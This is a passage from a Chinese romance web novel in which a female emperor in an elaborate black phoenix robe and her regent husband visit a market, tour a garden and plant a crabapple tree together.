马车驶回守卫森严的王府,将那尘世的喧嚣与烟火气隔绝在外。但慕容嫣心中,却已印下了那鲜活的一幕幕。那身华贵沉重的墨袍,今日似乎也沾染上了一丝人间的暖意。西市的喧嚣与活力,如同温暖的潮水般包裹着缓缓行来的帝后二人。 尽管林臻已下令不必清场戒严,但精锐的侍卫依旧无声地隔出了一小片相对空旷的区域,百姓们既敬畏又好奇地远远围观,目光绝大多数都聚焦在那抹移动的、极致华贵的玄黑身影之上。 慕容嫣并未在意那些目光。 她今日出府,本就是一时兴起,想亲眼看看夫君口中“热闹鲜活”的市井究竟是何模样。 而她选择穿上这身玄黑色百凤墨袍,也全然是出于己愿——她喜爱这身衣袍所带来的无上尊荣感,喜爱其上百凤翱翔的华美精致,更喜爱穿着它时,与林臻那身常服站在一起时,那种宛如天造地设的契合。 这墨袍于她,早已超越了礼制的束缚,成为了她的一部分,是她舒适与自信的来源。 极致玄黑的底色,在西市略显杂乱却充满生气的背景下,非但不显突兀,反而如同浊世中一颗沉静的墨玉,吸吮着周遭所有的光线,却又自内部折射出幽蓝与暗紫的微光,神秘而高贵,将周遭的一切都映衬得黯淡无光。 ?袍服之上,那一百只以无数珍稀金银彩线绣就的凤凰,在春日明朗的阳光下,彻底苏醒,每一片羽毛都闪烁着鲜活夺目、几乎灼人眼球的璀璨光彩,赤金灼灼如烈日,玫金流转如霞光,银白皎洁如月华,紫金贵气如祥云,凤眸上的细小红蓝宝石折射出堪比星辰的锐利光芒,百凤姿态各异,或引颈高鸣,或振翅欲飞,栩栩如生,仿佛下一刻便会脱离袍服,直上九霄,引来百鸟朝贺。 ?宽大无比的喇叭袖袖口边缘缀着的细密黑珍珠流苏,随着她的步伐轻轻碰撞,发出清脆而悦耳的细微声响,与她周身沉静华贵的气场形成奇妙的对比。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则成为了整条街市最为瞩目的焦点。 八名玄衣侍女始终跪伏跟随于后,极其小心地用衬着柔软丝绸的金钩微微提起拖尾末端,避免其完全拖曳于尘土,但即便如此,那拖尾最前端的丈余长度,依旧如同一条拥有生命的墨色星河,逶迤铺展在青石板路上。 其上镶嵌的黑钻、墨玉与深蓝宝,在阳光下疯狂地折射着冰冷而璀璨的、令人无法直视的星点光芒,所过之处,几乎将粗糙的地面都映照得如同铺满了碎钻! 百姓们何曾见过这般景象? 他们跪伏在地,山呼万岁之后,在林臻的示意下虽起身,却依旧不敢靠近,只敢远远地望着,眼中充满了无比的震撼、敬畏,以及…一种难以言喻的、近乎痴迷的崇拜。 他们或许不懂朝政,不懂工业革命,但他们看得懂这极致的美丽与尊贵。 这位深居简出的女帝陛下,在他们眼中,早已与九天玄女无异。 此刻亲眼见到,更是觉得传言不及万一!那身华服,那通身的气度,合该如此! “陛下万岁!” “陛下仙姿!” “愿陛下千秋万代!” 零星的、充满真挚的欢呼与祝福从人群中响起,越来越多的人跟着喊了起来,声音里充满了爱戴与激动。 慕容嫣听着那些真诚的呼声,看着百姓们脸上纯粹的敬慕而非恐惧,心中那一点点因被注视而产生的不适悄然消散,取而代之的是一种淡淡的、新奇的暖意。 她不由微微挺直了脊背,?墨袍上的百凤仿佛也随之愈发神采奕奕。 她侧头看向林臻,眼中带着一丝询问与欣喜。 林臻对她微微一笑,点了点头,眼神温柔而鼓励。他乐于见到她被万民敬仰爱戴的模样。 这时,前方传来一阵喧天的锣鼓声与叫好声,人群的注意力被吸引过去。只见一片被围出的空地上,一个番邦杂耍班子正在卖力表演。 有赤着上身、肌肉虬结的壮汉表演胸口碎大石;有穿着艳丽纱裙、身姿曼妙的胡姬随着急促的鼓点跳着肚皮舞,腰肢柔软如蛇;有侏儒顶着巨大的陶罐灵活地翻着筋斗… 慕容嫣看得目不转睛,尤其是当看到一个穿着五彩斑斓衣服的小丑,嘴里能喷出长长的火龙时,她惊讶地微微张开了红唇,?喇叭袖下的手不自觉地抓紧了林臻的衣袖。 “夫君!你看!他嘴里能喷火!”她声音里带着孩童般的惊奇。 林臻低笑,耐心解释:“那是嘴里含着特制的油和火绒,喷出来遇火星即燃,看着惊险,实则是一门技艺。” 慕容嫣似懂非懂地点点头,目光却依旧被吸引。那喷火艺人看到帝后驻足,表演得越发卖力,火龙喷得又长又猛,引来周围阵阵惊呼和喝彩。 表演高潮处,一名身材娇小、面容俏丽的少女走上场,她先是向帝后方向深深一揖,然后开始表演顶碗。 她将一只只彩釉陶碗抛起,用额头、鼻尖、甚至脚尖精准接住,叠得越来越高,最后竟叠了足足十二只碗,还能轻盈地旋转起舞,碗纹丝不动! 百姓们看得如痴如醉,喝彩声震天响。 慕容嫣也看得入了神,眼中充满了赞赏。她从未如此近距离地看过这般鲜活有趣的表演,只觉得比宫里那些一板一眼的歌舞有趣多了。 表演结束,少女稳稳地收下所有碗,再次向帝后行礼,额头带着细密的汗珠,脸上却洋溢着自豪与期待的笑容。 班主则拿着铜锣,开始向四周观众讨赏钱,百姓们纷纷解囊,铜钱如雨点般落入锣中。 第857章 你生来就是凤凰 慕容嫣见状,几乎是下意识地,便从宽大的喇叭袖的暗袋中,摸出了那个她几乎从不离身的、沉甸甸的锦囊。 锦囊里装着的,自然都是印着她侧面头像的特制铜币,甚至还有几枚小巧的金瓜子。 她上前一步,?那长达三丈的拖尾随之在身后地面发出轻微的摩挲声。 她并未多看那班主手中的铜锣,而是目光落在那刚刚表演完、气息还未平复的少女身上。 在所有人惊讶的目光中,这位身着极致华贵墨袍、宛如神女临凡的女帝陛下,竟亲自伸出喇叭袖下那双纤纤玉手,从锦囊中取出了一枚金光灿灿、雕刻着凤凰纹样、明显并非流通货币的特制金币——这通常是用于重大赏赐或作为礼器存在的。 她微微弯腰——这个动作让她身后那沉重的拖尾都随之波动——亲手将那枚分量不轻、价值远超寻常赏赐的金币,放入了那目瞪口呆的少女手中。 “赏你的。”慕容嫣的声音清越而温和,带着一丝难得的笑意,“技艺很好,朕很喜欢。” 那少女完全愣住了,看着手中那枚沉甸甸、雕刻着精美凤凰、在阳光下闪耀着夺目光芒的金币,又抬头看看眼前这位容颜绝世、气质尊贵无比、却对自己露出温和笑容的女帝陛下,激动得浑身发抖,话都说不出来,扑通一声就跪了下去,连连磕头: “谢…谢陛下赏赐!谢陛下隆恩!” 周围的百姓也瞬间沸腾了! 女帝陛下不仅亲临观看,竟然还亲自打赏了! 还是如此贵重的金币! 这是何等的荣耀与恩宠! “陛下圣明!” 欢呼声与赞叹声如同海啸般响起,充满了真挚的喜悦与爱戴。 人们看向慕容嫣的目光,除了敬畏,更多了浓浓的亲近与狂热。 那杂耍班主更是激动得老泪纵横,带着全班人跪地谢恩,表示要将这枚金币供奉起来,作为镇班之宝。 慕容嫣看着眼前这热烈的场面,看着那少女激动得通红的脸庞,心中那份新奇的暖意愈发扩大,嘴角不由弯起一个真心实意的、极美的笑容。这比在宫里接受臣工叩谢,似乎…更有趣些。 林臻一直站在她身侧,含笑看着她这番举动,眼中充满了纵容与骄傲。 他的嫣儿,合该如此,被天下人敬着,爱着。 他上前一步,自然地将她喇叭袖下微凉的手握住,纳入掌心,然后对跪伏的众人淡淡道:“平身吧。陛下有赏,是你们的福气,日后当好生演练技艺,不负圣恩。” “是!是!谢王爷!谢陛下隆恩!”众人这才战战兢兢地起身,依旧激动难抑。 慕容嫣心情极好,又看了一会儿其他表演,每次看到精彩处,都会下意识地去摸那个装钱的锦囊。林臻失笑,轻轻按住她的手,低声道:“我的小财迷陛下,赏一次便够了,再赏,他们怕是要承受不起了。” 慕容嫣这才作罢,但眼角眉梢依旧带着愉悦的笑意。 直到日头偏西,林臻恐她劳累,才柔声劝道:“嫣儿,该回去了。” ...... 暮春午后,熏风拂过摄政王府庭院中盛放的芍药,带来阵阵甜馥花香。暖阁的琉璃窗半开,任由暖融的阳光与微醺的春风漫入,将室内烘得一片和煦。 地龙已熄,只余角落鎏金兽首香炉中吐出袅袅的龙脑冷香,清雅宜人。 慕容嫣慵懒地倚在一张紫檀木嵌螺钿的贵妃榻上,榻上铺着触手生凉的云水绫软垫。她身上所穿,依旧是那身已然成为她标志的玄黑色百凤墨袍睡裙。 极致玄黑的底色,在春日透过琉璃窗的明媚光线下,呈现出一种深邃如古潭幽谷的质感,吸吮着光线,却又自最深处折射出难以捉摸的幽蓝与暗紫的微光,神秘而高贵。 ?袍服之上,那一百只以无数珍稀金银彩线、采用绝世“盘金蹙绒”绣工织就的凤凰,在充足的光线下仿佛被注入了灵动的生命,每一片羽毛都流转着不同的华彩,赤金灼目,玫金娇艳,银白皎洁,紫金贵气。 凤眸以细小的红蓝宝石镶嵌,灼灼有光,随着她极其细微的呼吸起伏,那些凤凰竟似在墨色云锦的宇宙中悠然翱翔、流转,活物一般。 ?宽大无比的喇叭袖铺陈在榻上的软垫,袖口边缘缀着的细密黑珍珠流苏,纹丝不动,泛着温润的光泽。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则带着居家的慵懒,自榻沿蜿蜒垂落,一部分堆叠在榻下的波斯长毛地毯上,一部分则如同墨色河流般,漫延过光洁如镜的金丝楠木地板,其上的黑钻、墨玉与深蓝宝镶嵌,在阳光下闪烁着低调却不容忽视的璀璨星点,仿佛将一条银河披拂于地。 她并未绾发,如瀑青丝尽数披散下来,流淌于墨袍的百凤图案与云水绫软垫之上,黑白分明,惊心动魄。 她赤着足,一双玉足从层叠的墨色袍摆下探出,纤巧秀美,微微蜷缩着,无意间蹭着身下冰凉的绫面。 她的目光并未落在书卷或账本上,而是专注地望着前方。两名侍女正小心翼翼地展开一幅巨大的水墨山水画挂轴,画心是前朝隐逸大师倪云林的《容膝斋图》,笔意疏淡,气象荒寒,与她周身极致的华丽形成一种奇异的对照。 林臻坐在她身旁不远处的一张花梨木扶手椅中,穿着一身素雅的雨过天青色杭绸直缀,墨发以一根竹簪半绾,手中捧着一本关于蒸汽机改良原理的图纸,目光却并未停留在复杂的机械图上,而是含笑望着榻上那个对着一幅枯淡山水出神的人儿。 “嫣儿今日怎有雅兴看起倪高士的画了?”他放下图纸,端起手边一盏清茶,啜饮一口,声音温和。 慕容嫣闻声,微微侧过头来,?喇叭袖随着她的动作轻轻拂过榻面。她并未立刻回答,而是伸出喇叭袖下未戴任何饰物的纤手,指向画中那间掩映于疏林坡石间的草亭:“夫君你看,这亭子虽小,只能容膝,但倚山傍水,开门见野…住在这里的人,心里定是很安静的吧?” 她的声音里带着一丝不易察觉的向往与迷惘。 林臻顺着她指尖望去,看着那幅笔简意远的画,又看看她身上那件华美沉重得足以压垮任何凡俗女子的百凤墨袍,心中了然。 他的嫣儿,这是被圈养在金丝笼中久了,偶尔窥见一丝不同的天地,心生涟漪了。 他放下茶盏,走到榻边,极其自然地在榻沿坐下,位置正好是那三丈拖尾蔓延的起点。他并未去看那画,而是目光温柔地流连于她被阳光柔化的侧脸:“倪云林一生漂泊,避世隐居,所求的不过是一份内心安宁。然其笔下山水,虽淡泊,却终究透着一股孤寂清冷。” 他伸出手,指尖轻轻拂过她墨袍领口处一只正回首梳翎的金凤羽毛刺绣,触感冰凉而精致, “我的嫣儿,生来便是凤凰,合该栖息于琼楼玉宇,受万民朝拜,享无边尊荣。这画中之境,看看便好,若真让你去住,怕是一日也耐不住那份清苦。” 慕容嫣闻言,轻轻“唔”了一声,似是认同,又似是并未完全听进去。她依旧望着那画,目光有些飘远:“可是…有时候,穿着这么重的衣裳,听着永无止境的朝议…也会想,若能轻松一日,也是好的…” 她的声音很轻,仿佛只是自言自语,?喇叭袖下的手指无意识地蜷缩了一下。 第858章 不要换…我喜欢穿这个 林臻心中微微一动,涌起一股怜惜与歉意。是他将她推上这至高之位,给予她极致荣华,却也无形中为她套上了沉重的枷锁。 他俯身,将她轻轻揽入怀中,让她靠着自己坚实的胸膛,下颌轻蹭着她散发着冷梅香气的发顶:“是我思虑不周了。日后,嫣儿若觉得烦了,累了,便告诉我。我带你出去散心,去西山别苑泡温泉,去南苑骑马,或者…就像前日那般,去西市看杂耍,可好?” 他的声音低沉而温柔,带着无尽的宠溺与包容,“至于这身衣裳,” 他的指尖拂过她袖口的珍珠流苏,“嫣儿若喜欢,便穿着,它是你的羽翼,而非负累。若有一日不喜欢了,想换件轻便的,也随你。” 慕容嫣在他温声安抚下,心中那点突如其来的、莫名的感伤顷刻间烟消云散。 她在他怀里蹭了个更舒适的位置,仰起脸看他,眼中恢复了往日的娇憨与依赖:“不要换…我喜欢穿这个…” 她小声嘟囔,“就是…偶尔说说罢了。” 她怎会真的舍得脱下这身他赋予她的、独一无二的荣光? 林臻低笑,忍不住低头在她光洁的额上吻了一下:“好,不换。我的嫣儿穿什么都好看,穿这身最好看。” 这时,侍女奉上新沏的茶。并非宫中的龙凤团茶,而是林臻特意命人寻来的、今春西湖龙井的新茶“明前莲心”,茶芽细嫩,翠绿清香。 茶盏是新烧制的甜白釉瓷,薄如蛋壳,透光见影,衬得茶汤愈发嫩绿可爱。 林臻并未让侍女伺候,亲自接过茶盘,挥退左右。他先试了试温度,这才将一盏茶递到慕容嫣唇边。 慕容嫣就着他的手,小口啜饮。清冽甘甜的茶汤入口,带着春天特有的鲜灵气息,与她平日喝惯的浓郁香醇的团茶截然不同。 “好喝,”她眼睛微亮,“清清淡淡的,像…像把春天的山泉喝进了嘴里。” “喜欢就好。”林臻看着她满足的模样,心中愉悦,就着她喝过的位置,也将自己盏中茶饮尽。这种分享一杯茶的亲密,远比任何珍馐美馔更令他心动。 喝完茶,慕容嫣似乎彻底从方才那点小情绪中走了出来。 她忽然想起什么,从喇叭袖的暗袋里摸出那个沉甸甸的锦囊,从里面倒出几枚特制的铜币和那枚凤凰金币,献宝似的捧到林臻眼前: “夫君你看,这是昨日省下的脂粉钱,这是西市杂耍的赏赐…是不是很好看?” 阳光透过琉璃窗,照在那些金灿灿、亮闪闪的钱币上,映着她亮晶晶的眼眸,华美无比。 林臻看着她这副小财迷的模样,忍俊不禁,低头在她微嘟的唇上轻啄了一下:“嗯,好看。但不及我的嫣儿万分之一好看。” 慕容嫣被他亲得脸颊微红,却抿唇笑了起来,心满意足地将钱币收回锦囊,小心塞回袖袋。她重新窝回他怀里,打了个小小的哈欠,?宽大的喇叭袖掩住半张脸,眼睫垂下,带上了几分慵懒的睡意。 画轴早已被侍女无声收起。暖阁内,只剩下阳光、茶香、以及相拥的两人。 林臻调整了一下姿势,让她睡得更舒服,拉过一旁轻软的鲛绡薄衾,轻轻盖在她身上,仔细地掖好,连那铺散开的拖尾也细心盖住了一角。 慕容嫣在他怀里蹭了蹭,寻了个舒适的位置,很快便呼吸均匀,沉入梦乡。?百凤墨袍在薄衾下铺展,金线闪烁,宝石生辉,而她恬静的睡颜,是这极致奢华中最动人的风景。 林臻凝视她许久,才在她唇角印下一吻,一同在这午后暖融的春光中,相拥小憩。 窗外花香馥郁,室内岁月静好。?墨色的凤凰栖息于爱人温暖的怀抱,心满意足。 ...... 春深似海,皇家别苑“沁芳园”内,百花竞放,姹紫嫣红开遍。玉兰亭亭,海棠灼灼,牡丹雍容,芍药娇艳,更有无数奇花异卉,点缀于亭台楼阁、曲水回廊之间,香气馥郁,蝶舞蜂喧,恍若人间仙境。 园中主道早已净水泼街,铺以红毡,禁军侍卫肃立两旁,气氛庄重却不失春日应有的明媚。今日并非正式大典,但女帝陛下与摄政王殿下驾临游园,依旧是举园上下最为隆重之事。 一辆由八匹毫无杂色的雪白骏马牵引的鎏金嵌宝凤辇,在精锐侍卫的簇拥下,缓缓驶入沁芳园。凤辇华盖如云,四周垂落的并非纱幔,而是近乎透明的特种水晶琉璃片,既挡风尘,又不阻视线,奢华至极。 辇车停稳,侍卫恭敬放下鎏金踏凳。率先下车的是一身玄青缂丝蟠龙常服的林臻,他身姿挺拔,目光沉静,下车后并未立刻前行,而是转身,向车内伸出手。 一只戴着同色玄黑丝绒长手套、指尖缀着细小黑珍珠的纤纤玉手,轻轻搭在了他的掌心。随后,那抹令人屏息的玄黑身影,缓缓出现在春光之下。 慕容嫣今日,依旧穿着那身玄黑色百凤墨袍。极致玄黑的底色,在灿烂明媚的春日阳光下,非但没有丝毫黯淡,反而呈现出一种吞噬一切光线的、极致的深邃与厚重,如同将最沉静的夜空披覆于身,却又自那极致的黑中,折射出幽蓝、暗紫、乃至墨绿的微妙光泽,神秘莫测,尊贵无匹。 ?袍服之上,那一百只以无数珍稀金银彩线、采用绝世“盘金蹙绒”并“缀珠绣”工艺织就的凤凰,在毫无遮挡的天然光线下,彻底焕发出惊心动魄的生命力。 每一片羽毛都仿佛由真正的金箔、银丝、孔雀羽、翠鸟羽捻线绣成,赤金灼目如烈日流火,玫瑰金娇艳如晚霞熔金,银白皎洁如月华泻地,紫金贵气如祥云缭绕,凤眸以最上等的鸽血红、皇家蓝宝石镶嵌,在阳光下折射出锐利如实质的璀璨光芒,百凤姿态各异。 引颈、展翅、回首、梳翎、嬉戏、翱翔…栩栩如生。 华美繁复到令人窒息,仿佛随时会破衣而出,引动百鸟来朝! ?宽大无比的喇叭袖袖口并非寻常弧度,而是层叠如盛开的墨色曼陀罗花,边缘以细密如星辰的黑珍珠与极小颗的黑钻交替镶嵌,垂落时几近地面,行动间珠玉轻撞,声如碎冰,流光溢彩。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则成为了今日最为震撼的景象。它并未完全由宫女托举,而是如同拥有生命般,自凤辇之上倾泻而下,逶迤铺展在鲜红的毡毯与青石板路上,其面积之巨,几乎覆盖了整条主道! 其上以金丝掐出繁复无比的缠枝莲与云雷纹底,再以大小不一、切割完美的黑钻、墨玉、深蓝宝、黑欧泊乃至罕见的黑珍珠,密集镶嵌出凤凰尾羽与日月星辰的图案。 在春日照耀下,这些宝石疯狂地折射着冰冷、璀璨、令人无法直视的耀眼光芒,仿佛将整条银河都踏于足下,极致的奢华与权力,化为了具象的、移动的视觉奇观! 十六名身着玄衣、面容肃穆的宫女分列两排,极其小心地用衬着柔软天鹅绒的金钩,微微提起拖尾的末端,既保持其铺展的完美仪态,又避免其完全摩擦地面。 她并未戴沉重凤冠,如云青丝以一套极其繁复精巧的赤金点翠嵌深色宝石凤凰展翅步摇与发簪绾起,余下长发披散于后,与墨袍的玄黑融为一体。 额间坠着一枚泪滴形的巨大黑欧泊,随着光线变幻着七彩光芒。容颜绝世,在这身极致华服的映衬下,威仪天成,风华倾世。 林臻紧紧握着她的手,扶她稳稳下车。当他二人的身影完全立于春光花海之中时。 周遭所有跪迎的侍卫、宫人、乃至远处被允许远远观瞻的勋贵家眷,皆不由自主地屏住了呼吸,被那极致的尊荣与华美震慑得心神摇曳。 连山呼万岁之声都带着颤抖的敬畏。 第859章 暖风熏人 慕容嫣目光平静地扫过眼前繁花似锦的园林,对于周遭的目光早已习惯。她微微侧首,对林臻轻声道:“夫君,这里的花开得真好。”她的声音透过清冽的空气,清越而柔和,并无多少威严,却自带一股不容置疑的雍容。 “不及嫣儿万分之一。”林臻低头,在她耳边轻声回应,语气带着毫不掩饰的欣赏与骄傲。他携着她的手,缓步向前走去。 那长达三丈的拖尾随之移动,如同一条流动的墨色星河,在红毡与青石板上缓缓滑过,其上镶嵌的无数宝石与阳光碰撞,折射出令人目眩神迷的光斑,所过之处,连最娇艳的牡丹都黯然失色。 ?宽大的喇叭袖袖口边缘的珍珠与黑钻,随着她的步伐轻轻摇曳生光。 他们并未直接进入宴饮的正殿,而是沿着花径漫步赏玩。林臻耐心地为她讲解各种花卉的名目、习性,偶尔折下一支最娇艳的,簪于她的鬓边。 慕容嫣则微微仰头配合,?喇叭袖下的手始终与他交握,嘴角噙着一丝清浅的笑意。 墨色华服与娇艳鲜花形成强烈对比,却奇异地和谐,更衬得她人比花娇。 行走间,那巨大的拖尾不可避免地会拂过路边的花丛草木。宫女们紧张万分,生怕勾丝或沾染污渍。 慕容嫣却似乎并不十分在意,偶尔看到拖尾边缘扫落几片花瓣,反而会觉得有趣,唇角微弯。 来到一片临水的海棠林,花瓣纷飞如雨,落英缤纷。慕容嫣被美景吸引,停下脚步,微微仰头望去。 风吹过,更多花瓣落下,有些沾在了她墨袍的肩头、袖口,甚至那华美无比的拖尾之上。 林臻见状,并未让人拂去,反而轻笑:“人比花娇,花亦慕倾城。” 慕容嫣低头,看着落在喇叭袖上的一片粉色花瓣,伸出另一只手,用戴着手套的指尖轻轻拈起,放在鼻尖轻嗅,眼波流转间,瞥向林臻,带着一丝罕见的娇憨:“夫君如今,也学会这般油嘴滑舌了?” “肺腑之言,何来油滑?”林臻笑着,就着她的手,低头也在那花瓣上吻了一下,目光却始终灼灼地看着她。 慕容嫣脸颊微热,垂下眼眸,将花瓣轻轻抛入水中,看着它随波逐流。 那长达三丈的拖尾边缘浸入清澈的溪水之中,墨色锦缎遇水色深,其上镶嵌的宝石在水波荡漾下,折射出更加迷离动人的光芒,仿佛拖尾化为了真正流淌的星河。 宫女们慌忙小心地将拖尾提起些许。 在水榭中小憩时,宫人奉上精致茶点。林臻依旧亲自试温,将一盏新沏的“吓煞人香”递到她唇边。 慕容嫣就着他的手小口啜饮,?喇叭袖微微遮面,姿态优雅至极。 歇息片刻,她似乎有些倦了,春日暖阳令人慵懒。她轻轻拉了拉林臻的衣袖,声音带着一丝软糯:“夫君,累了。” 林臻立刻会意,挥退左右,然后竟在水榭中,将她打横抱起。慕容嫣轻呼一声,下意识搂住他的脖颈。 那长达三丈的拖尾随之蜿蜒移动,如同墨色瀑布垂落。 他就这样抱着她,无视远处隐约传来的惊羡目光,稳步走向早已备好的、设于百花深处的御帐。那华美沉重的拖尾在身后迤逦铺展,碾过青草与落花,极致的奢华与自然的春光完美交融。 御帐内铺陈着柔软的波斯地毯与锦垫。林臻将她轻轻放在榻上,自己则坐在榻边,让她靠在自己怀里。 慕容嫣安心地阖上眼,?墨袍上的百凤在帐内柔和的光线下依旧流光溢彩。林臻轻轻为她按摩着太阳穴,低声问:“可要更衣歇息?” 慕容嫣摇摇头,在他怀里蹭了蹭,找到舒适的位置:“不要…就这样…” 她喜欢这身衣袍带来的安全感与归属感。 林臻便不再多言,只是拥着她,听着帐外隐约的鸟语花香,感受着怀中人的温暖与依赖。 ?华贵的墨袍铺满锦榻,?三丈拖尾蜿蜒帐中,宝石闪烁,凤羽生辉。 而它的主人,却在这极致的奢华中心安理得地沉入小憩,只因身边有着最坚实的依靠。 春光正好,透过帐幔,温柔地笼罩着相拥的二人。 这身倾天下的墨色凤袍,此刻仿佛也只是爱人身畔最温柔的襁褓。 暮春的午后,阳光透过新发的嫩叶,在摄政王府的花园小径上洒下斑驳的光影,暖风熏人,带来泥土与百花的清新气息。 园中一角,远离亭台楼阁,有一片特意预留出的、翻松平整的肥沃土地,旁边放着一株根须包裹着泥土、含苞待放的西府海棠树苗,一只精巧的白玉水壶,以及两副柄上镶嵌着细碎宝石、明显并非寻常农具的金丝楠木小铲。 慕容嫣立于这片松软的泥土地前,身上所穿,依旧是那身玄黑色百凤墨袍。 极致玄黑的底色,在透过叶隙的明媚春光下,呈现出一种吸纳万光的沉静质感,却又自最深处折射出幽蓝与暗紫的微妙光泽,神秘而高贵,与周遭生机勃勃的自然景象形成一种奇异而震撼的对比。? 袍服之上,那一百只以无数珍稀金银彩线、采用绝世“盘金蹙绒”并“缀珠绣”工艺织就的凤凰,在充足的光线下,每一片羽毛都闪烁着鲜活夺目的生命光彩,赤金灼灼,玫金流转,银白皎洁,紫金贵气,凤眸上的细小红蓝宝石折射出锐利璀璨的光芒,百凤姿态灵动,仿佛随时会振翅飞入这春日的花园。 ?宽大无比的喇叭袖袖口被她用一对精致的、雕成凤首衔珠形态的金色袖襻微微束起,以免垂落沾尘,却依旧难掩其华美轮廓,边缘缀着的细密黑珍珠流苏在微风中轻轻晃动。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则成为了此番劳作最令人屏息的景象。它并未由宫女托举,而是被她亲自挽起一大部分,缠绕在手臂与腰间,以一枚巨大的、雕刻着盘龙云纹的羊脂玉珏暂时固定住重量。 但即便如此,仍有近丈余的拖尾末端无法全然收起,如同一条倦怠的墨色星河,慵懒地铺陈在特意铺就的、洁净的深色锦毡之上,其上镶嵌的黑钻、墨玉与深蓝宝,在阳光下闪烁着冰冷而璀璨的星点光芒,华贵到了极致,也…不便到了极致。 她如云青丝以一支简单的墨玉长簪松松绾就,几缕发丝垂落颊边,更添几分随性的风情。她并未穿鞋,一双玉足套着柔软洁白的云锦软鞋,站在松软的泥土边缘,跃跃欲试又带着些许小心翼翼。 林臻站在她身侧,换了一身便于活动的靛青色细棉布常服,袖口挽至肘间,露出结实的小臂。他目光温柔地看着身旁这位盛装华服、却准备与他一同“劳作”的爱妻,眼底满是纵容与笑意。 “嫣儿当真要亲手种?”他接过侍女递上的温湿丝帕,仔细替她擦了擦喇叭袖下并未沾染任何尘土的指尖。 “自然要亲手种!”慕容嫣扬起下巴,语气带着一丝娇憨的坚持,“夫君不是说,这棵海棠寓意‘伉俪情深’?自然要你我一同栽下,才显诚心。” 她说着,目光落向那株海棠树苗,眼中充满了期待与新奇。 她自幼深宫长大,何曾亲手栽种过一花一木? 这一切于她,都新鲜有趣。 林臻轻笑,不再劝阻,只道:“好,都听嫣儿的。” 他先拿起那副华贵的小铲,在自己脚前的松土中挖了一个深浅合宜的坑。动作熟练,显然并非第一次做此事。 慕容嫣学着他的样子,也拿起另一副小铲,试探性地将铲尖插入土中。 然而,那沉重繁复的墨袍与被挽起却依旧碍事的拖尾极大地限制了她的动作,她努力想将泥土铲起,动作却显得笨拙又可爱,?宽大的喇叭袖即使被束起,依旧随着她的动作晃来晃去。 第860章 种树 林臻并不插手,只含笑看着。直到她因用力而微微蹙起黛眉,他才上前一步,自后温柔地握住她抓着铲柄的手,引导着她:“慢些,这样…手腕用力,轻轻一撬便可…” 他的胸膛贴着她的后背,温热的呼吸拂过她的耳廓。 慕容嫣微微红了脸,却乖乖地由他引导,感受着他手掌的温度与力量,借着他的力道,总算成功地将一铲土松了出来。 “成功了!”她欣喜地侧过头看他,眼中亮晶晶的,仿佛完成了什么了不起的大事。 “嗯,嫣儿真厉害。”林臻毫不吝啬地夸奖,顺势在她颊边落下一个轻吻。 接下来,两人协作将树苗放入坑中。 林臻扶住树苗,慕容嫣则负责填土。她极其认真,一铲一铲地将周围的松土填入坑中,偶尔有细小的土粒溅到她墨袍的下摆或那铺在锦毡上的拖尾边缘,她也浑不在意,全神贯注于眼前的“大业”。 林臻时不时帮她将拖尾再往锦毡中心拢一拢,避免其滑落沾上更多的泥土。 填好土,慕容嫣已是鼻尖冒出了细密的汗珠,气息微喘。林臻拿出丝帕,细心为她拭去汗珠。 最后是浇水。慕容嫣抢着提起那只白玉水壶,却发现里面装满了水后,对于她而言有些沉重。林臻便再次从身后握住她的手,一同提起水壶,缓缓地将清冽的水流浇灌在树苗的根部。 水流渗入泥土,发出轻微的滋滋声,仿佛树苗在欢快地饮水。 阳光透过水珠,折射出小小的彩虹。 “大功告成!”慕容嫣放下水壶,长舒一口气,满意地看着那株挺立的海棠树苗,成就感油然而生。她下意识地想拍拍手,却发现自己手上戴着丝绒手套,且沾了些许泥痕。 她低头看着自己华美墨袍袖口与下摆处零星沾染的泥土痕迹,又看看那铺在锦毡上、依旧华美却带了点“劳作”印记的拖尾,忽然笑了起来:“夫君,我这样…像不像偷跑出来玩泥巴的皇后?” 林臻看着她灿烂的笑容,沾染了泥点的华服,以及那双因劳动而格外明亮的眼眸,心中爱极。 他伸手,将她揽入怀中,也不管自己衣袍是否会沾上泥土:“不像。像…跌落凡尘、却不减风华的神女,为我亲手种下了一整个春天。” 慕容嫣被他揽在怀里,听着他低沉动人的情话,脸颊绯红,心里甜得如同浸了蜜。 她将脸埋在他肩头,小声嘟囔:“夫君就会哄我…” “肺腑之言。”林臻低笑,低头寻到她的唇,温柔地吻了上去。 春日暖阳,和风拂过新栽的海棠树苗,嫩叶轻轻摇曳。不远处,?华美沉重的墨色凤袍与靛青的棉布常服相拥,?长达三丈的镶宝拖尾铺陈于地,与泥土、树苗构成一幅极致奢华又无比温馨的画面。 许久,林臻才松开她,指尖拂过她微肿的唇瓣,声音暗哑:“累了么?回去歇息?” 慕容嫣摇摇头,靠在他怀里,目光依旧流连于那株海棠树苗,眼中满是憧憬:“夫君,你说它什么时候会开花?” “明年春日,定会花开似锦。”林臻肯定道,“到时,我陪嫣儿在花下饮酒赏月。” “嗯!”慕容嫣用力点头,眼中充满了期待。她仿佛已经看到了明年繁花满枝的景象。 夕阳西下,林臻小心地帮她解下固定拖尾的玉珏,那墨色的河流再次完全铺展。他打横将她抱起,稳步走向寝殿。 慕容嫣搂着他的脖颈,回头望去,看着那株在夕阳下拉出长长影子的小树苗,轻声说:“夫君,我们要常常来看它。” “好,”林臻承诺,“日日都来。” 回到寝殿,宫人们早已备好温水和香膏,小心地为她拂去墨袍上细微的尘土,尤其是那拖尾,被极其轻柔地清洁打理,确保那些珍贵的丝线与宝石无损。 沐浴更衣后,慕容嫣换上另一件款式略简、却依旧绣着金凤、带着拖尾的玄黑寝裙,靠在窗边的软榻上,望着窗外暮色中那株新栽海棠的模糊轮廓,嘴角始终带着甜蜜的笑意。 林臻端来一盏温热的牛乳蜜茶,喂她喝下。 “夫君,”她忽然轻声问,“等我们老了,这棵树是不是也长大了?” “嗯,会长得很大,开花的时候,就像一片粉色的云。”林臻描绘着。 慕容嫣想象着那画面,安心地靠进他怀里:“那真好。” 窗外月色渐起,温柔地笼罩着那株新生的希望。 窗内,?墨色的凤凰栖息于爱人的怀抱,心中种下了一整个关于未来的、花团锦簇的梦。 ...... 想把满园的书种好没那么容易。 第二天,暮春午后的阳光,透过摄政王府花园层层叠叠的嫩绿枝叶,变得温柔而斑驳,在地面洒下细碎的金色光斑。 